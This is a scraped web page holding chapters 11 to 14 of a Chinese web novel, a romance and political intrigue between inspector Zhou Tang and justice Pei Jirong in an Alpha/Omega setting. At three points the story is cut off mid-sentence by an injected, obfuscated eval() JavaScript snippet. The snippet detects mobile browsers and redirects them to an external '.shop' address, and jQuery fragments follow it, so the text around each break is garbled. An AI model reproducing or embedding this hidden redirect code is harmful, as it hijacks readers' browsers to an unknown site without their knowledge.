裴寂容低声喊她:“周棠。” 周棠本该回答,但心动的感觉太剧烈,让她一时没有办法控制自己的身体,于是只能僵立在原地一言不发。 裴寂容皱了皱眉。 因为痛感太强烈,他的神色里始终带着一点点恍惚和茫然,连带着皱眉的动作也没有那么清晰,情绪显得很钝,在某些瞬间竟然有一点懵懂无知的模样。 “周棠。” 他又喊了一声。 语气很坚决。 周棠没办法再后退,只好停了下来,犹豫了好一会儿,在裴寂容第三次想要开口喊她之前,硬着头皮走上前。 “您现在感觉怎么样?” 周棠忽然想,从这次重逢开始,裴寂容就好像总是一种可怜的模样,身处弱势,身陷困境,好像被命运摧折的没有办法,在她面前只能一次次示弱。 但他真的愿意这样吗? 听见回应,裴寂容停止呼唤,重新闭上眼睛,将脸更深的埋入枕头,露在外面的眉毛紧紧皱着。 周棠低下头看了他一会儿,有点手足无措。 她毕竟也不是医生。 “忍一忍。”周棠很苍白地安慰着,“等到明天,止疼药就送过来了。” 她干巴巴地说了这么两句,低下头,轻轻地叹了口气,目光在裴寂容的脸上打转,鬼使神差的,一种冲动涌上心头,她突然用手指擦了擦那些沾在睫毛上的泪珠。 冰凉的液体沾染在指尖,与此同时,另一只炽热的手忽然抬起来触碰着她的手腕,先是微弱的摩挲了一下,然后用力握了过来。 “别走。” 裴寂容低声说着,没什么力气地拽她,像在命令:“过来。” “我有话要问你。” 11. 11 裴寂容说“有话要问”,但周棠等了许久,他却没有再开口。 或许是发热期的体温太高,他始终有些恍惚,以至于弄不清楚,当时——在听见那些话的时候,他第一个想到的,到底是近在眼前的周棠,还是付出了心血的重构法案? 甚至,回溯到最初,他匆忙调整安排时,最深处的目的究竟是为了推进法案,还是为了追回周棠? 难以区分。 无可捉摸的痛苦在灵魂中升起,晕成一片沉重的湿气。 但想到重构法案,裴寂容的确清醒了一点。 对政府各部门重新进行职务划分,削弱军部、监察部和科研学会的实际权力,是一个自五年前就开始讨论的提案,如今终于有了推进的希望,不能功亏一篑。 就在不久之前,他和另一位大法官施特凡妮联系过,他们一直以来都合作良好,在这件事上也达成了共识。 “许部长大概率会支持,但他手下的十六个统括监察呢?”施特凡妮说,“多亏了那伙袭击犯泄露的情报,至少我们已经知道了新任统括监察的具体人选,足以在他们结党之前抢占先机。” 裴寂容不太想谈起这件事,但还是承诺道:“我会想办法,你那边的情况怎么样?有希望吗?” “不太顺利。”施特凡妮面色不虞,拧着眉说,“我想我们最好别寄希望于监察官的公正,即使重构法案对大局有利,只要威胁到他们手里的权力,绝大多数监察官都会翻脸。” 周棠……很可能也是…… 即使他知道她是个绝对公正、从不偏私的人,大概率不会因为旧情支持他,也不会为了一己私欲反对法案。 但是这不能赌。 裴寂容仰起头,视野被朦胧的水雾切割,周棠的身影在其中显得模糊而遥远,像潮湿的、即将融化的日影。 “你对……” 或许他可以直接询问她的看法。 周棠闻声看了过来,收回手时,指尖无意擦过他的脸侧,道:“您说。” 她的声音很凉很静,戴着手套的指节近乎坚冰,这层无机质的隔膜让裴寂容感到隐约的不适,细密的睫毛颤了颤,眼睛又闭了起来。 他不再说下去了。 这是个覆水难收的问题,假如周棠表示反对,又该作何反应呢? 裴寂容忽然意识到,此事绝不能提。 尽管他不愿细想,但某些预感已经渐渐从潜意识中浮出水面——也许从他以重构法案为契机而想要寻找周棠开始,整件事就无可挽回的走上了一条错误的路。 唯有撞向南墙。 许久没听到问题的后半部分,周棠有些疑惑地问:“您想问我什么?” 裴寂容摇了摇头,纠缠在一起的情绪慢慢润湿睫毛,将瞳孔烧成一个巨大的空洞,他终于难以承受地去抓周棠的手腕。 但是周棠却偏开手,躲过了他的触碰。 她这时才开始觉得,裴寂容的状态实在是太反常了,已经到了触动危险预警的程度。反常往往意味着风险。 “您的状态不太好。”周棠谨慎地观察着,从表情到姿态都表现着抗拒,说道,“我去找医生。” 她退后一步,想要拉开门出去,但裴寂容撑着身体坐了起来,一把抓住了她的手腕。 “周棠。” 这是第三次喊她。 裴寂容的语气和刚才一样平常,但声音发紧,略微低沉,他的神情又冷,让人不自觉地跟着紧张起来。 周棠被迫停了下来。 进来之后已经被喊了三声全名,但这一次格外有压迫感,正在病中的人其实没有多少力气,她却感觉无法挣脱。 视线交错,裴寂容蓦地笑了声,脸色变得更坏了。 甜酒的香气愈发浓烈尖锐,一刀刀割开空气,周棠即使对这些变化一无所知,也察觉到了异常紧绷的气氛。 她犹豫了下,还是顺着手腕被拉拽的方向弯下腰,让他不必那样仰着头,刚一俯身,另一只手就抓住了她的肩膀,但因没有力气,很快就滑下来落在前襟。 裴寂容垂了下眼睛又抬起,眨眼的频率快了一点,但到底是稳住了神色,没有在周棠面前失态。 “……你就是这样喜欢我的?” 他轻声问着,感到理智正在一点点被灼热的信息素烧尽,连视线也开始昏沉。 周棠只是为难地皱起眉。 她从没和发热期的Omega相处过,和朋友之间要避嫌,而罪犯的必要程度还要更高,如果在发热期进行审讯,第二天她就会被指控人格侮辱。 “我比谁都担心您的情况,但是治病只能交给医生,如果您觉得不舒服,我没有任何办法。” “继续僵持下去,只会耽误时间,让情况变得更糟。” 周棠不能想象裴寂容此刻究竟忍受着怎样的痛苦,对此缺乏实际的认知,见他神色如常,便只以对待甩脾气的病人的态度对待他,在用安慰的语调说话时,呈现出令人绝望的冷静。 裴寂容的手渐渐松开了。 在这一刻,他对周棠的冷静产生了一点隐约的恨意,但没过几秒,这种恨意就被转嫁到他自己身上,化为扭曲的痛苦。 为什么周棠是偏偏是Beta? 这个念头在脑海中闪了一下,很快,变成了一个截然相反的问题。 为什么……他会是Omega? Alpha和Omega把信息素当做与生俱来的第二种沟通方式,事实证明,在表露情绪上,它也确实更甚于语言,难以启齿的话放进信息素里,多数时候就没有那么令人羞耻了。 如果没有信息素,也许就能够更加坦诚,在某些想法出现时,即使自己还没有完全弄明白,也能描述出来让他人知道。 “出去吧,不用找医生。” 裴寂容放开周棠,低下头,神色隐没在阴影中:“我要休息了。” …… 周棠站在档案室里,心不在焉地翻动着卷宗,医生给的镇定糖块被她咬在牙齿间,嚼得咔咔作响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557848|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距他们进入治安局已经过了很长时间,忙碌的护士们终于有了空闲,裴寂容在观察室里休息,她一个人开始完成工作。 “莱顿局长不在?”周棠问,“我昨天和他联系过了,他说……他什么时候回来?” 档案员摇摇头:“我们也不知道局长的安排。” 周棠一下将糖块嚼碎。 预定的会面从昨天推到今天,说不出具体原因,给不了日程安排,一问就是道歉,到现在为止,连人影都没见到。 没听说过第四十七区最近有保密行动,治安局局长究竟在忙些什么? 她一边想着这个问题,一边迅速的完成了审查工作。 监察部的管辖范围虽然包含第四十七区,但控制程度不深,年审只是提醒的方式,表明政府会一直盯着他们,做事不要太出格。 周棠总觉得有些古怪。 走出档案室后,她很快找了个机会和本部联系,让技术人员跟踪莱顿的动向。 “事先说明,第四十七区可不好查,何况他们手脚不干净也不是一天两天的事,部长心里也有数。”技术员牙疼似的吸了口气,“区政府做贼心虚,前不久还搞过什么见鬼的无电化办公,如果真能追踪到信号,我再联系你。” 周棠:“好,查不出来就算了。” 她正要挂断通讯,又被技术员“哎哎哎”的叫住了。 “有件事你还不知道吧。”技术员偷偷掐断部内的智能监控,小声说,“前一阵子,正好是你出差的那段时间,部里遭到袭击信息泄露,外流了一部分文件。” 周棠问:“和我有关系?” “有一点点,但是我猜不严重。”技术员掐着小拇指比划着,“不过昨天早上,安东尼说要和你联系一下,所以可能还是有点麻烦,他还没找你?” 安东尼是监察部的首席事务官,工作向来高效。 周棠低头翻看了一下信息栏:“没有。” “那应该就不是什么要紧的事,我只是提醒你一下。”技术员说,“既然如此,你就耐心等待安东尼的联络吧。” 结束通讯,周棠看着终端迟疑了一下,正在思考要不要主动和事务官联络,干脆把事情直接问清楚,走廊两侧的信号屏蔽仪就突然亮起了红光,信号迅速减弱到无。 她仰头看了眼,不得不把终端收了起来。 不愧是法外之地。 工作暂且告一段落,周棠思来想去,在档案室附近的走廊上徘徊了一会儿,叹了口气,准备去看看裴寂容的情况如何了。 在观察室外,医生拉住她,说裴寂容的状态不太好。 周棠:“哪里不太好?” “各项指标都有点问题。”医生举着相当复古的纸质病历,一板一眼地念道,“体温、心率、信息素……不过这还不是重点。” 周棠越听越焦躁,一口气刚提上来,又被这句“不是重点”打了回去。 她耐着性子问:“重点是什么?” 医生说:“他的心情很差。” 12. 12 心情不好? 周棠很少从医生的口中听见这么感性的形容,一时不知道该作何反应,过了几秒,医生似乎是看出了她眼中的疑惑,抖了抖手里的纸质病历,抽出一份药品清单递了过来。 “所以需要使用少量的镇定药物。”医生说,“病人有药物过敏史吗?” 周棠问:“镇定?” 她一边询问着,一边以怀疑的目光从观察室的小窗里望了进去,想看看裴寂容如今是什么模样,但出于隐私的考虑,那扇小窗紧紧闭着,什么也看不见。 周棠慢慢收回目光,满腹狐疑。 仅仅离开了半天而已,究竟发生了什么事,竟然能把裴寂容和镇定药物归类到一个格子里去? “他现在的状态很……”周棠尽力斟酌用词,但说出的话仍然令自己感到荒谬,“很狂躁吗?” 出乎意料,医生摇了摇头:“那倒没有,病人看起来很平静。” 周棠没有松懈,静等着转折性的“但是”。 “但是,”医生果然很快说道,“在特殊时期,情绪是可以通过信息素来量化的,我们有客观的评判方式。” 他又从那沓病历里抽出一张来,指着上面的数据说:“病人已经达到使用镇定药物的标准了。” 周棠看着那张化验单,沉默了几秒,才回答了最初的问题:“……他没有药物过敏。” 得到回答,医生立刻放弃了闲聊,抓着病历去配药了。 周棠站在原地思考了一会儿,然后拿出终端给相熟的同僚发消息,询问近来最高法院的局势是否有什么变化。走廊上的信号屏蔽仪还在运作着,编辑完文字点下发送键,立刻弹出来一个红色感叹号,她皱了皱眉,将信息内容复制下来换成了邮件。 在做这件事的时候,刚才出现过的念头又在脑子里转了一圈。 完全看不出来。 裴寂容的心情不好,这是很容易就能发现的事,但坏到了需要用镇定药物来协助控制的程度——如果不是化验单上的数据白纸黑字地写着,她完全没办法相信。 平生头一次,周棠感觉裴寂容像是一团永远也捉摸不透的迷雾。 认识这么多年,她一直自信地觉得自己已经够了解他了,至少要比其他人的程度更深,但是直到此刻才突然发现,或许根本不是这回事。 到底发生了什么事? 最近,轴心区明明一直很平静啊,有什么意外能让裴寂容紧张到这种程度? 周棠凝神沉思了许久,但无论怎么回忆,浮现在脑中的都只是些无关紧要的小问题,与最高法院有关的重要事项,她只知道一件,但那不是适合拿来询问的东西,除非…… “周小姐?” 就在这时,观察室的门突然被推开了,一个护士端着放药的托盘走出来,见到周棠时,有些惊讶地喊了她一声,接着不知想到什么,停了下来,小心翼翼地问道:“您还好吗?” 周棠不知道对方为什么突然这样问候自己,但还是回答道:“我没事。” “可是您看起来很苦恼。”护士眨着眼睛,小声问,“您在自责吗?” 第四十七区没有稳定的大型医院,在这里巡诊的医护人员都是从中心区域抽调来的,每半年轮值一次,出行都有治安局的警卫护送,比起把警惕刻在心尖上的当地居民,还保留着天真的和善。 但是……自责? 为什么? 周棠没弄清对方的思考逻辑,在疑惑中沉默了一会儿。 护士显然见多识广,将沉默看成了尴尬下的默认,好心地拍了拍她的肩膀,用安慰的语气说道:“我能理解您的心情。” 周棠反问:“我的心情?” “是呀,我前任也是Omega,我太懂这种感觉了。”护士小声叹气,“他有什么不开心从来不直说,总是想用信息素来暗示我,可是我是Beta啊,也不会读心术,怎么可能猜的出来?就算是发热期也一样。一开始我也很自责,但是后来我终于想明白了。” 周棠也终于对这段谈话有了兴趣,配合地递上话头:“想明白了什么?” 护士将举了半天的托盘换到另一只手,说道:“我干嘛非要委屈自己,Beta就是不会考虑信息素、有话直说的啊,我就是玩不来信息素猜谜啊,又不是故意要这样的,他生气才奇怪呢,哪有鱼该因为骑不好自行车自责的道理?” 周棠的目光往护士身后扫了一下,问道:“所以最后呢,你因此和他分手了?” “对!我一点儿也不后悔。”护士鼓励道,“你也不要纠结,这个不行就下一个,有些人可能天生就不合适呢,合适也是爱的基础嘛。” 周棠默了默:“你说的有道理。” “对吧!” 劝慰有了效果,护士高兴起来,举着手臂又鼓励了两句,才抱着托盘匆匆往配药间跑去。 目视着她的身影远去,周棠才转过头来,笑着问:“您对她说的这些也感兴趣吗?” 裴寂容倚在门边,沉默不语。 从半中心区来的护士没有“谈话时要防止被人听见”的意识,观察室的门打开了好一会儿,她也一无所知,在当事人的目睹下讲完了整段话。 为了回报她的好意,周棠没有出声提醒,选择将尴尬全部留给自己。 好在也不是什么出格的话。 裴寂容蹙了蹙眉,没有回答,侧身让出路来:“进来谈。” 和最开始相比,观察室里多了一点药味,桌面上有几支空掉的注射器,灯光还是一如既往的昏暗,落在人身上,像微弱而即将融化的星光。 至于其他的细节,则都包含在信息素中,不是周棠能觉察的了。 她反手关上门,目光在室内流转了一圈,重新落回到裴寂容身上。 从护士口中听到的那些话,似乎真的起到了一点作用,那种雾里看花般的迷惘消散了许多,虽然她几乎没有为此自责过,但也感到了隐约的宽慰。 这可不是我的错,她想,Beta就是没办法理解信息素,虽然她的程度严重了一点,但这就是Beta啊。 裴寂容在桌前坐下,抬眸看过来,因为注射过镇定药物的缘故,他的表情比先前还要不露破绽,漆黑的眼睛里泛着薄薄的水光,在被灯光照射时,细而弯的睫毛一动不动。 周棠没什么正事要谈,观察了一下,见他的状态已经恢复得很好,也不再问一些感觉好不好状态怎么样了的废话,反正得不到真实回答。 然后裴寂容轻声问:“你也会那样想吗?” 周棠眨眨眼:“什么?” 她开始觉得自己和世界是不是有点脱节,自从离开档案室以后,就开始一个接一个听不懂所有人的话,而谈话的另一方还觉得双方十分心意相通。 有一点烦躁了。 周棠后悔没找医生多拿点镇定糖块,这种吃着玩的东西里没有多少有效成分,但聊胜于无。 “自责。”裴寂容问,“你会吗?” “我?” 周棠本想直接说不会,但回忆起刚才的对话,把护士的比喻拿来现学现用:“您会责怪一条不会骑自行车的鱼吗?” 裴寂容听着这句有点风趣的反问,没有露出笑容。 “你需要我……”他问,“把想法直接告诉你吗?” 奇怪的对话方向。 周棠没有想过有一天会从裴寂容口中听到这样的问题,但这两天被他盘问的次数也够多了,她不像最开始那样惊异,思索了几秒。 需要?需要……? 这个问题应该被如此讨论吗? 难道她一直以来,都表现得很不需要知道他的想法,对一切都漠不关心吗?而且,如果真的想说就会直说了吧,问“需不需要”——是否倾听者应该善解人意的等同为不需要? 刚才的想法再一次掠过脑海。 不只是她不够了解裴寂容,照现在看来,这种情况很可能是双向的,他们相识多年,居然互不了解,还自以为对对方足够熟悉。 不合适。 这三个字仿佛在眼前飞快的闪烁了一下,冒出尖锐到使人流泪的光。 如果状况实际上是这样,那么,就算那天晚上裴寂容答应了她的告白,恐怕也没有任何意义,那只是导向错误结局的另一条路,是在抵达注定的终点以前,用情绪和时间走过的长长的曲路。 告白失败…… 说不定才是好事。 甩开这个前所未有的念头,周棠微微吸气,让神色染上一点点笑容,保留住暗恋者最基本的尊严。 “这不重要,您用不着花时间思考这些。”她笑了笑,“我们的情况和护士说的不一样,并不是恋人关系,不需要想那么多。” 裴寂容看着她。 镇定药物仍在生效,他听着这些回答时,被无法撼动的冷静包裹着,但在隐约之间,能感觉到环绕在身边的甜酒气味渐渐浓郁,一只看不见的手抓住了心脏,用力地攥紧。 麻醉阻断了电信号的流动,他没有痛苦的感觉。 但也并没感到心情转好。 …… 进入第四十七区的第九天,周棠终于得知了莱顿的消息,但并不是她希望的那一个。 “最高法院召集的会议?例会?” 周棠在记忆里翻找了许久,没能找到与此有关的信息,问道:“我没听说过这件事。” “我们也是第一次参加。”治安局秘书说,“是今年刚定下来的,上个月就通知了,但最近才说需要局长本人到场。” 虽然是临时通知,但莱顿没有半点儿不乐意,对他来说,这场会议的性质和一张免费的旅游劵差不多,若不是人数有限,他甚至想把全局的闲人都带上。 最高法院的饭可不是那么好蹭的,提前吃到更令人安心。 唯一不太高兴的,可能就只有周棠了。 而且事务官也没有联系她。 在信号恢复正常的时间段里,周棠找准机会向总部发了邮件,但没能找到安东尼,照部里的说法,他似乎也陷入了某个信号不良的区域,和她一样经常联系不上。 只能继续等待。 在所有未定事项里面,只有一件尘埃落定——向同僚发去的询问轴心区情报的邮件,短短半天就得到了回应。 周棠一边忙着其他的小任务,一边抽时间把那些邮件看完了。 结论是没有异常。 轴心区最近风平浪静,所有麻烦事都是从旧事里承继下来的,没有新故事。 “最高法院呢?”周棠不死心地打了通讯,问道,“什么也没有?” 同事被她追问了两句,也不由得开始自我怀疑,说完“等等我再看看”后,把近期的新消息全部审阅了一遍。 “没有。” 同事非常肯定地说:“我确定没有异常,你到底发现了什么?这种态度让人很害怕诶。” 周棠也给不出具体回答:“你就当是预感吧,我总觉得最高法院会有事情发生。” “最高法院?”同事想了想,“你不会是在说重构法案吧?” 周棠:“没有,我对那个没什么兴趣。” “感兴趣也没用啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557849|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具体内容还没公布,一点儿风声也没有。”同事有些不满,“部里说是没有职级区分,但统括监察们都清楚得很呢,只有我们不知道。” 周棠:“露西不是在打听吗?” 同事在转椅上旋转了一圈,很颓丧的垂下手:“没用啦,最高法院把草案捂得死死的,到底谁是监察部啊,那群袭击犯怎么没去法院走一圈?” “等你当上统括监察。”她捧着脸靠近屏幕,“我就有内部人脉了,这才是情报天才该有的人际网啊!” 统括监察的选拔只有几个当事人知道,周棠不便透露,对着朋友也只能隐瞒:“真到那天了请你吃饭。” 同事精神起来:“我要吃区中心那家!” 周棠配合道:“我会替你留足半年工资的。” 挂了通讯后,她叹了口气,往住处走去。 约定的一个月已经过去三分之一,总部安排的几个任务也尽数完成,大概是考虑到她需要将更多的精力放在裴寂容身上,事务官没有再派发其他任务。 周棠很快把裴寂容安排在了最初确定的驻所。 在四十七区和四十六区的边界线上,有一座地域特色浓厚的小城,街上没有智能监控,因为从前常被用作黑色交易的场所,目前仍由警务部暗中掌控。 绝对安全。 越过色彩鲜丽的街市、低矮的楼群与许多散发着香气的花丛,周棠在住处门前停了下来。 和城里的其他建筑一样,这也是一栋仅有两层高的小楼,他们住在二层,一层则是警务部的秘密驻点。 天色已晚,周棠站在楼下仰起头来,看见二楼的窗子里透出颜色温暖的光线。 在那天的谈话之后,裴寂容的情绪似乎又恢复了原状。 但并不是太正常。 周棠总感觉,他似乎对她太过于纵容了。 如果要确切的举出例子,她其实说不出来什么,这更像是一种感觉,或者说体验。 无法形容。 站在楼下盯着灯光看了一会儿,周棠收回目光,迈步上楼。 推开门时,裴寂容正在桌前看书。 他其实不比周棠空闲多少,虽然身在边境,但仍在亲力亲为地处理着轴心区的某些事情,即使是在晚上,终端也偶尔会收到讯息。 监察部部长已经和他交谈了好几次,不知在商量什么,但总体来看,大概还是合作愉快的模样。 不过,这些事情绝大多数都会在白天完成。 换了住处以来,周棠每一次忙完工作回来都是晚上,早一些七点,晚一些会到九十点钟,但不论什么时候回来,裴寂容都已经是闲下来的模样,点着灯,在客厅静静地看书。 这种感觉,不得不说十分奇妙。 周棠在看见灯光时就放轻动作,轻手轻脚地走进门,没有发出声音,以免打扰到他。 这几天她一直都是这样,但是无论哪一次,裴寂容都像是与她有心灵感应一样,每到周棠踏进门就会抬起头来。 今天也是一样。 “你回来了。” 裴寂容放下书,没有折页就将它合上,看过来的眼珠仿佛温润的玉石:“今天怎么样?” 周棠将手里的东西放在一旁,点头道;“一切顺利。” 刚开始,她回来面对裴寂容时还觉得有点不自在,用个不恰当的形容,她总感觉又回到了十几岁时刚进裴家,面对裴寂容时的心境。 现在则已经慢慢习惯了。 偶尔会生出一种,裴寂容似乎在特意等她回家的感觉。 想着这些事,周棠走了下神,朝着室内走时,差点撞到沙发的边角。 裴寂容站起来扶住她:“小心一点,怎么了?” 随着起身的动作,灯光整个的笼罩住了他的身体,润泽柔软,有点像下起小雨时,边缘微微模糊的月光。 迷离,恍惚,仿佛触手可得。 周棠原本不想多谈,但在这样的情景中,不由得也放下了一点心防,把真实想法说了出来:“我突然想起来很多年前的事情,您还记不记得,九年前,我们刚见面那天。” 裴寂容微微怔了下,说道:“记得,当时你……” 他已经开了口,但不知想到什么,忽然不说了。 这反而激起了周棠的好奇心,追问道:“我怎么了?” 她对那天的记忆已经有些模糊,当时父母刚刚离世,情绪太差,身体或许是开启了自我保护机制,把那段时间的记忆都模糊掉了,能精确地想起来的,只有裴寂容一个人而已。 他也是这样坐在书房里,因为情感淡薄又公事繁忙,虽然向周棠表露出善意,但也说不上多么温柔。 周棠却一直记着那双眼睛。 漆黑,水盈盈的,灯光落在其中,像被湖水映出的月影。 日后对他动心时,也多次想起来这双眼睛,难以忘却,像一个与爱一并藏在她灵魂深处的魔咒。 但周棠一直没有听裴寂容提起过那时的事情,当时不敢,后来也没有问过,只当是忘了或者没有印象,此时被他提起,忽然来了兴趣。 “我怎么了?”周棠一字一句,又将这个问题重复一遍,眼睛盯着裴寂容不放,一边询问一边慢慢靠近,“哥哥想到什么了,我想知道。” 她不依不饶,形状锋锐的眼睛微微仰着,虽无厉色,但仍然有些迫人,像冷峻却又生气勃勃的兽类,野性难驯。 裴寂容被她盯得往后退了小半步,目光落在她脸上,忽然微微笑了一下。 “像现在一样。” 他轻声说:“好凶。” 13. 13 夜里,窗外淅淅沥沥地下起雨来。 随着湿度升高,室内的空气变得有些沉闷,周棠在窗边吹了会儿凉风,还是觉得十分浮躁,便离开房间去了楼顶透气。 雨下的不大,滴落在手心时不比晨雾更深重,天空像是灰黑色的磨砂玻璃,月亮若隐若现,被水雾晕染成了一个模糊的光点。 周棠倚靠着栏杆,抬头望着月亮。 她没有打伞,雨点虽然小,过了几分钟后也在睫毛上聚集成细细的水珠,一眨眼就接二连三地往下掉。 在视线将要被雨水模糊时,身后传来了轻微的响声。 周棠回头看去,目光重新聚焦时,一柄伞正好移动到她的头顶。 “怎么在这里淋雨?” 裴寂容举着伞走到栏杆旁,偏过头询问着。 他的睫毛和皮肤上都没有水珠,握着伞柄的手是冷冷的白色,让人联想到经过切割的玉石,断面锋利,触手冰凉。 周棠盯着那截雪一般的手腕,没有回答。 她微微眨了眨眼睛,睫毛上的水珠便接二连三的坠下,有些滴落在地面上,有些顺着下颌线滑入脖颈,将衣领打湿。 雨幕模糊而朦胧,像一层柔化万物的滤镜,但周棠身在雨中,却忽然有种将一切都撕扯开来的冲动。 她不由自主地握住了那截手腕。 和想象中一样冰凉,只有血液流过的地方有微微的暖意,被突然握住时,似乎颤抖了一下。 周棠下定决心。 “我已经回答过您的问题了,那天晚上我本来想说的话,也全部都说过一遍了。”她注视着裴寂容的眼睛,像抓紧锁链那样紧紧握住他的手腕,“现在麻烦事都结束了,您不能当做没听过,总该给我一个答复吧。” 裴寂容没有要挣脱的意思,静静看了她一会儿,垂下了眼睛。 “你需要我的答复吗?”他低声问,“你不是说,对我已经没有那样的感情了吗?” 周棠一愣。 她回想起在车里时的那场对话,正想否认,脑中却忽然如灵光闪过般空白了一下,她蓦地顿住,已到嘴边的那句“我当然喜欢您”被收了回去,再开口时,变成了:“我的想法是我自己的事情,这不影响您回答。” 直到将话说完,周棠才后知后觉地感到一点紧张,迟疑几秒,松开了手,让自己看起来不那么有逼迫的感觉。 “所以……”她说着说着,又放软了语气,“您没有想要对我说的吗?” 裴寂容没有回答。 这时,一阵凉风从天台上吹过,雨水在风里斜飞过来,将他的睫毛也染上一层薄薄的水汽。 过了许久,他才轻轻抬起眼眸,低声说:“让我考虑一下。” 周棠怔了怔。 她几乎以为自己听错了,足足过了三四秒,才反应过来,微微睁大了眼睛。 考虑……? 周棠已经做好了听见直接拒绝的准备,没想到等来的竟是一个留有余地的回答,其中仿佛还有希望的曙光。 她不依不饶地问:“您要考虑到什么时候?” 裴寂容偏开眼:“回第一区那天。” 周棠慢慢收回手。 这理应是比预想更好的情况,但她却陡然生出一点无力感,失望随即涌上心头。 …… 下半夜,雨终于渐渐停了,玻璃上的水汽一点点消散,城市仍然被黑暗笼罩着,但接近中心的区域开始出现点点灯火。 裴寂容站在窗边,凝视着一星忽明忽暗的灯光。 他不该那样说。 按照原计划,应该给周棠一个肯定的答复,想办法稳住她,有什么真心话,也该等到一切尘埃落定再提起。 然而不知为什么,他突然感到心里有些隐隐的恐惧,说不清具体缘由,像海浪一样卷过来,迫使他偏离航线。 裴寂容慢慢将双手交握攥紧,终于叹了一口气。 窗户敞开着,饱含水汽的风一阵阵吹进来,凉意渐渐浸透空气,混合出一种类似雪天的气味,更加让他感到寒气逼人。 在一墙之隔的另一间房里,周棠正一把推开窗户。 远处的地平线已然微白,细巧的弯月高悬天幕,靛青色光线漫过窗台,流入室内。 周棠眺望远方,双眼放空。 她想不通裴寂容为什么会那样回答。 从这几天的相处里,她看不出裴寂容有什么要答应的迹象,说是考虑,给她的感觉倒更像是某种拖延时间的权宜之计,总不会是担心她被拒绝之后,把情绪带进工作吧? 如果这样想的话,被吊着难道不是更让人心神不宁吗? 周棠有点烦躁地呼出一口气。 她站在窗边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557850|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考了很久,直到一轮颜色浅淡的太阳从地平线升起,阳光穿过薄雾照在眼中时,才收回目光,随意的翻了翻桌上的东西。 第四十七区推行的无电化办公卓有成效,时代倒流,不进反退,这些天来周棠收到了不计其数的纸质文稿,压塌了两个劣质书架。 她按着最高的那堆打印纸,揉了揉太阳穴,打算干脆忙到有了困意再休息。 但刚翻开一页,手底下的纸堆忽然传来了震动感。 周棠顿了顿,无奈地弯下腰,从混乱的纸张和办公用具底下艰难地翻出终端。 她花了点时间,但好在对方很有耐心,并没挂断。 “安东尼?” 在看清视频中的人像时,周棠将手里的纸张放了下来,拉开台灯,在桌前坐了下来:“你终……” 事务官敲敲桌面打断她:“信号不好,长话短说。” 周棠比了个OK。 “上次泄露的文件里有统括监察的任命草案。”安东尼说,“最近会有很多人想办法拉拢你,或是给你找麻烦。坚守本心,不要让人抓住把柄,安稳度过审核期——这是部长让我转告的。” 他的语速非常快,只花了几秒就说完了这一整段话,没有给周棠反应的时间,但即使如此,仍没能在信号消失前讲完所有事。 随着影像闪烁,听筒里传来的声音也变得断续。 “尤其不能……嫌疑……法……” 通讯断掉了。 周棠看着屏幕上“信号不良,请重新连接”的提示,将终端放了下来。 统括监察的任命草案泄露? 怪不得她最近收到了那么多骚扰信息……从这个角度来想,说不定信号不好也不是坏事,至少在结束任务回到轴心区之前,没人能轻易联系上她了。 消失也不失为一种解决方式。 何况,统括监察说是权力更大,在部内其实也没有什么特殊地位,只是工资高一点,有固定辖区而已。 周棠最初还担心是有什么麻烦事,听完安东尼的话,顿时松了口气,一边想着这件事,一边起身去关窗。 献殷勤也好,找麻烦也好,反正没人能找到…… 不。 周棠蓦地停下了脚步。 统括监察的确有一项很特殊的权力。 法案的……优先表决权。 14. 14 这个念头刚一出现,在紧随其后的具体猜测尚未出现以前,周棠就迅速将它打消了。 然而怀疑始终是世界上最顽固的情绪,一旦露面,绝不轻易消失。 即使周棠没有刻意去猜测,但大脑却违背本意开始运作,很快把一个个细节捋清楚摆在她眼前。 重构法案、统括监察、优先表决权…… 周棠慢慢把这些词语串联在一起。 所以,裴寂容是为了不影响到重构法案的表决,才选择不在这时和她闹僵吗?照这样下去,难道她表现出反对法案的意向,他甚至可能答应? 周棠靠在窗边,抱臂沉思了一会儿,紧皱的眉头慢慢松开了。 仅凭直觉、但合情合理的猜测。 而且让她感到轻松了许多。 就像是被强塞了许多超出平常的宝物,惴惴不安,被夺走时反而因此解脱的那些人一样。 裴寂容想要——就像曾经在她身边出现过的许多人一样——对监察官这个身份加以利用吗?对他来说,“周棠”和“统括监察”孰轻孰重,抛开这层身份,他对她还会剩下多少兴趣? 不。 这不是最重要的。 就算没有这些,他们在本身的性格和追求上,或许就是不合适的,现在不过是一个及时止损的机会。 如果真是这样…… 周棠犹豫了很久,直到将心里的失落按下之后,才走到桌边,拿出一张联邦全域地图,用铅笔在上面轻轻勾画着。 如果是这样,她就没必要回到轴心区了。 